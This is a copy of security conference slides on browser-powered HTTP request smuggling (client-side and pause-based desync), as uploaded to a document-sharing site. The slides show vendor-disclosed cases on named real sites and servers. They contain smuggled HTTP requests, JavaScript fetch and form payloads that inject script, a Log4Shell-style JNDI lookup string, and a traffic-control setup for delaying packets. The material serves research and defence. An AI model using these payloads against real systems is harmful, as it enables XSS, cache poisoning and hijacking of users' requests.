0% found this document useful (0 votes)
3 views

browser-powered-desync-attacks-slides

The document discusses browser-powered desync attacks, a form of HTTP request smuggling that exploits anomalies in HTTP handling. It outlines various attack methodologies, including client-side and pause-based desync techniques, and highlights the importance of connection state and content-length manipulation. The document also provides examples of vulnerabilities and their resolutions, emphasizing the need for robust defenses against such attacks.

Uploaded by

awayt3005
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
3 views

browser-powered-desync-attacks-slides

The document discusses browser-powered desync attacks, a form of HTTP request smuggling that exploits anomalies in HTTP handling. It outlines various attack methodologies, including client-side and pause-based desync techniques, and highlights the importance of connection state and content-length manipulation. The document also provides examples of vulnerabilities and their resolutions, emphasizing the need for robust defenses against such attacks.

Uploaded by

awayt3005
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 42

Browser-Powered Desync Attacks

A New Frontier in HTTP Request Smuggling

James Kettle
Warning / disclaimer

These slides are intended to supplement the presentation.


They are not suitable for stand-alone consumption.

You can find the whitepaper and presentation recording here:


https://portswigger.net/research/browser-powered-desync-attacks

If it’s not uploaded yet, you can get notified when it’s ready by
following me at https://twitter.com/albinowax

- albinowax
A problem and a discovery
2019 CVE-2020-XXY
YZ
Problem: Request Smuggling false positives
Solution: Never reuse HTTP/1.1 connections

2021
Problem: Connection-locked request smuggling

X
Solution: Always reuse HTTP/1.1 connections

X
Outline

• HTTP handling anomalies


• Client-side desync
• Pause-based desync
• Defence & Takeaways
• Q&A

replica lab on portswigger.net/academy


portswigger/{http-request-smuggler,turbo-intruder}
Full PoC exploit code available in whitepaper
HTTP handling anomalies
The request is a lie
Connection state attacks: first-request validation

GET / HTTP/1.1 HTTP/1.1 200 OK


Host: redacted

GET / HTTP/1.1 -connection reset-


Host: intranet.redacted

GET / HTTP/1.1 HTTP/1.1 200 OK


Host: redacted

GET / HTTP/1.1 HTTP/1.1 200 OK


Host: intranet.redacted
Internal website
Connection state attacks: first-request routing
POST /pwreset HTTP/1.1 HTTP/1.1 302 Found
Host: example.com Location: /login

POST /pwreset HTTP/1.1 HTTP/1.1 421 Misdirected


Host: psres.net

POST /pwreset HTTP/1.1 HTTP/1.1 302 Found


Host: example.com Location: /login

POST /pwreset HTTP/1.1 HTTP/1.1 302 Found


Host: psres.net Location: /login

✉ Reset your password: https://psres.net/reset?k=secret


2021-07-28: Reported
The surprise factor 2021-08-05: Fixed

:method POST ALB POST / HTTP/1.1


:path / Transfer-Encoding: chunked
Sometimes: 200 OK
X
0
0
Sometimes: 400 Bad Request
malicious-prefix
malicious-prefix

For request smuggling, all you need is a server taken by surprise


DetecAng regular CL.TE

POST / HTTP/1.1
Connection #1

Content-Length: 41
Transfer-Encoding: chunked

GET /hopefully404 HTTP/1.1 HTTP/1.1 301 Moved Permanently


Foo: bar READ Location: /en

GET / HTTP/1.1 HTTP/1.1 404 Not Found


Connection #2

Host: example.com READ Content-Length: 162…


Detecting connection-locked CL.TE
Is the front-end using the Content-Length? Can't tell
POST / HTTP/1.1
Content-Length: 41
Transfer-Encoding: chunked

GET /hopefully404 HTTP/1.1


Foo: barGET / HTTP/1.1 READ HTTP/1.1 301 Moved Permanently
Host: example.com Location: /en

READ HTTP/1.1 404 Not Found


Content-Length: 162…
Detecting connection-locked CL.TE
Is the front-end using the Content-Length? No
POST / HTTP/1.1
Content-Length: 41
Transfer-Encoding: chunked

0
EARLY HTTP/1.1 301 Moved Permanently
READ Location: /en
Detecting connection-locked CL.TE
Is the front-end using the Content-Length? Yes
POST / HTTP/1.1
Content-Length: 41
Transfer-Encoding: chunked

0
EARLY
⌛ <no data>
GET /hopefully404 HTTP/1.1 READ
Foo: bar GET / HTTP/1.1 READ HTTP/1.1 301 Moved Permanently
Host: example.com Location: /en

READ HTTP/1.1 404 Not Found


Content-Length: 162…

Finding: Barracuda ADC in front of IIS. Patched in 6.5.0.007


CL.0 browser-compatible desync
POST / HTTP/1.1 HTTP/1.1 200 OK
Host: redacted
Content-Length: 3

xyzGET / HTTP/1.1 HTTP/1.1 405 Method Not Allowed


Host: redacted

Taxonomy
TE.CL and CL.TE // classic request smuggling
H2.CL and H2.TE // HTTP/2 downgrade smuggling
CL.0 // this
H2.0 // implied by CL.0
0.CL and 0.TE // unexploitable without pipelining
2021-10-26: Reported
H2.0 on amazon.com <2022-08-10: Fixed

POST /b/? HTTP/2 HTTP/2 200 OK


Host: www.amazon.com Content-Type: text/html
Content-Length: 31

GET /favicon.ico HTTP/1.1


X: XGET / HTTP/1.1 HTTP/2 200 OK
Host: www.amazon.com Content-Type: image/x-icon

POST /gp/customer-reviews/aj/private/
reviewsGallery/get-image-gallery HTTP/1.1
X-Amz-SideCar-Enabled: on
X-Amz-Sidecar-Destination-Host:
http://us-other-iad7.amazon.com:1080
X-Forwarded-Host: …
Client-Side Desync
(CSD)
Client-side desync
CSD Methodology

Tool requirements:
- Connection-reuse visibility & controls
- Content-Length override
- HTTP Request Smugger 2.1 / Turbo Intruder 1.3, Burp Suite {Pro,Community} 2022.8

Browser:
- CSD works similarly on all browsers tested
- Chrome has the most useful dev tools
Detect CSD vector
1. Server ignores Content-Length POST /favicon.ico HTTP/1.1
- Server-error Host: example.com
- Surprise factor Content-Type: text/plain
Content-Length: 5
2. Request can be triggered cross-domain
X
- POST method, no unusual headers
- Server doesn't support HTTP/2*
3. Server leaves connection open
Confirm vector in browser
- Disable proxy, open cross-domain HTTPS attacker site
- Open DevTools Network tab, enable Preserve Log & Connection ID
fetch('https://example.com/..%2f', {
method: 'POST',
body: "GET /hopefully404 HTTP/1.1\r\nX: Y",
mode: 'no-cors', // make devtools useful
credentials: 'include' // poison correct pool
}).then(() => {
location = 'https://example.com/'
})

Poisoned status Matching connec\on IDs


Explore exploitation routes

Store
Chain & Pivot
• User-Agent: ${jndi:ldap://x.oastify.com}
• Impossible CSRF
Attack
• Host-header redirects
• HEAD-splicing XSS
• Challenges: precision, stacked-responses
Akamai - detection
POST /assets HTTP/1.1 HTTP/1.1 301 Moved Permanently
Host: www.capitalone.ca Location: /assets/
Content-Length: 30

GET /robots.txt HTTP/1.1 HTTP/1.1 200 OK


X: Y GET /assets/ HTTP/1.1
Host: www.capitalone.ca Allow: /

fetch('https://www.capitalone.ca/assets', {method: 'POST',


body: "GET /robots.txt HTTP/1.1\r\nX: Y", mode: 'no-cors',
credentials: 'include'})

Name Status Connection ID


/assets 301 1135468
/assets/ 200 1135468
Allow: /
Akamai – Stacked HEAD
POST /assets HTTP/1.1
Host: www.capitalone.ca
Content-Length: 67

HEAD /404/?cb=123 HTTP/1.1


HTTP/1.1 301 Moved Permanently
GET /x?<script>evil() HTTP/1.1 Location: /assets/
X: YGET / HTTP/1.1 READ
Host: www.capitalone.ca OVER
READ
HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 432837

HTTP/1.1 301 Moved Permanently


READ Location: /x/?<script>evil()
Akamai – Stacked HEAD
fetch('https://www.capitalone.ca/assets', {
method: 'POST',

// use a cache-buster to delay the response


body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\n
Host: www.capitalone.ca\r\n
\r\n
GET /x?x=<script>alert(1)</script> HTTP/1.1\r\n
X: Y`,
credentials: 'include',
mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
location = 'https://www.capitalone.ca/'
})
2021-11-03: Reported
<2022-05-23: Fixed
Cisco Web VPN - Client-side Cache Poisoning
https://psres.net/launchAttack.html:
POST / HTTP/1.1 HTTP/1.1 200 OK
Host: redacted.com
Content-Length: 46

GET /+webvpn+/ HTTP/1.1


Browser cache entry for /win.js is now poisoned
Host: psres.net
X: YGET /+CSCOE+/win.js HTTP/1.1 HTTP/1.1 301 Moved Permanently
Host: redacted.com Location: https://psres.net/+webvpn+/index

=> https://redacted.com/+CSCOE+/logon.html
<script src="https://redacted.com/+CSCOE+/win.js">
=> 301 Moved Permanently (from cache)
=> https://psres.net/+webvpn+/index
2021-11-10: Reported
=> malicious() 2022-03-02: wontfix'd
CVE-2022-20713
Verisign – fragmented chunk 2021-12-22: Reported
2022-07-21: Fixed
POST /%2f HTTP/1.1
Host: www.verisign.com HTTP/1.1 200 OK
Content-Length: 81

HEAD / HTTP/1.1
Connection: keep-alive
Transfer-Encoding: chunked

34d
POST / HTTP/1.1
Host: www.verisign.com
Content-Length: 59
HTTP/1.1 200 OK
0 Content-Length: 54873
Content-Type: text/html
GET /<script>evil() HTTP/1.1
Host: www.verisign.com HTTP/1.1 301 Moved Permanently
Location: /en_US/<script>evil()/index.xhtml
Pulse Secure VPN – an approach of last resort
Regular CSD attacks:
1. Create a poisoned connection
2. Trigger navigation

Hijacking JS with a non-cacheable redirect:


1. Navigate to target page
2. Guess when the page has loaded
3. Create some poisoned connections
4. Hope a JS import uses a poisoned connection

Making it plausible:
• Pre-connect to normalise target page load time
• Combine with separate window/tab for multiple attempts
• Identify page with non-cacheable JS import
2022-01-24: Reported
2022-08-10: Fixed?
Pause-based desync
Pause-based desync
POST /admin HTTP/1.1
Content-Length: 41 ⌛ 10s
⌛ wait for response
GET /404 HTTP/1.1 HTTP/1.1 403 Forbidden
Foo: bar GET / HTTP/1.1
Host: example.com
HTTP/1.1 404 Not Found

if (req.url ~ "^/admin") {
CVE-2022-23959
return (synth(403, "Forbidden"));
} Patched in 7.0.2

CVE-2022-22720
Redirect 301 /redirect /destination
Patched in 2.4.53
Server-side pause-based desync
Front-end Varnish/Apache
POST /admin HTTP/1.1
Content-Length: 23
⌛ 20s ⌛ 10s
GET /404 HTTP/1.1 HTTP/1.1 403 Forbidden
X: YGET / HTTP/1.1
Host: example.com
HTTP/1.1 404 Not Found

Requirement: Front-end forwards request headers without waiting for body

Turbo Intruder queue() arguments:


pauseTime=20000, pauseBefore=-41, pauseMarker=['GET']
Pause-based desync with ALB
POST /admin HTTP/1.1
Content-Length: 23
⌛ 20s ⌛ 10s
GET /404 HTTP/1.1 HTTP/1.1 403 Forbidden
X: Y
-reset-

POST /admin HTTP/1.1


Content-Length: 23
⌛ 10s ⌛ 10s
GET /404 HTTP/1.1 HTTP/1.1 403 Forbidden
X: Y

GET / HTTP/1.1
Host: example.com
HTTP/1.1 404 Not Found
Pause-based desync with matching timeouts
POST /admin HTTP/1.1
⌛ 60s
Content-Length: 23
⌛ 60s ⌛ 60s
GET /404 HTTP/1.1 HTTP/1.1 403 Forbidden
X: Y

GET / HTTP/1.1
Host: example.com
HTTP/1.1 404 Not Found

Zero-padding chunk size TCP duplicate packet 66-hour attack


Stripped chunk extensions TCP out-of-order packet
Client-side pause-based desync via MITM
The theory:
• Aaacker website sends request, padded to cause TCP fragmentabon
• MITM idenbfies the TCP packet containing the request body via the size
• MITM delays this packet, causing a server bmeout & pause-based desync
• The delayed packet is then interpreted as a new message
MITM
POST /admin HTTP/1.1
🔒
Content-Length: 28

GET /404 HTTP/1.1 ⌛ 60s


X: PADPAD GET / HTTP/1.1 ⌛ 61s HTTP/1.1 403 Forbidden
Host: example.com
HTTP/1.1 404 Not Found
Client-side pause-based desync via MITM
let form = document.createElement('form')
form.method = 'POST'
form.enctype = 'text/plain'
form.action =
'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
let input = document.createElement('input')
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET
/redirect?<script>alert(document.domain)</script>
HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
input.value = "x"
form.append(input)
document.body.appendChild(form)
form.submit()
MITM-based desync using Traffic control

# Setup
tc qdisc add dev eth0 root handle 1: prio priomap

# Flag packets to 34.255.5.242 if between 700 and 1300 bytes


tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
and 'cmp(u16 at 2 layer network lt 0x0514)' \
flowid 1:3

# Delay flagged packets by 61 seconds


tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
Demo: Breaking HTTPS on Apache

Apache CVE-2022-22720 Varnish CVE-2022-23959


2021-12-17: Reported 2021-12-17: Reported
2022-03-14: Patched in 2.4.53 2022-01-25: Patched in 7.0.2/6.6.2
Defence

• Use HTTP/2 end to end


• Don’t downgrade/rewrite HTTP/2 requests to HTTP/1
• Don't roll your own HTTP server, but if you do:
• Never assume a request has no body
• Default to discarding the connection
• Don't attach state to a connection
• Either support chunked encoding, or reset the connection.
• Support HTTP/2
References & further reading
Whitepaper, slides & academy topic
https://portswigger.net/research/browser-powered-desync-attacks Practice labs
https://portswigger.net/web-security/request-smuggling/browser ConnecIon-state SSRF
CL.0 desync
CSD request capture
Source code @ github Scan CSD cache poisoning
PortSwigger/http-request-smuggler Client-side desync Pause-based CL.0
PortSwigger/turbo-intruder Pause-based desync
Connecbon-state probe
CL.0 desync
References & further reading:
HTTP Desync Attacks: https://portswigger.net/research/http-desync-attacks
HTTP/2 Desync Attacks: https://portswigger.net/research/http2
HTTP Request Smuggling: https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
HTTP Request Smuggling in 2020 - https://www.youtube.com/watch?v=Zm-myHU8-RQ
Response Smuggling - https://www.youtube.com/watch?v=suxDcYViwao
Easy Further research

• New ways of triggering a CSD


• New CSD exploitation gadgets
• Advanced/cross-protocol chain&pivot attacks
• Fast&reliable detection of server-side pause-based desync vulnerabilities
• A way to delay a browser request with needing a MITM
• A way to force browsers to use HTTP/1 when HTTP/2 is available
Hard

• Exploration of equivalent attacks on HTTP/2+


Takeaways

The request is a lie


HTTP/1.1 connec5on-reuse is harmful
All you need is a server taken by surprise

@albinowax
Email: [email protected]

You might also like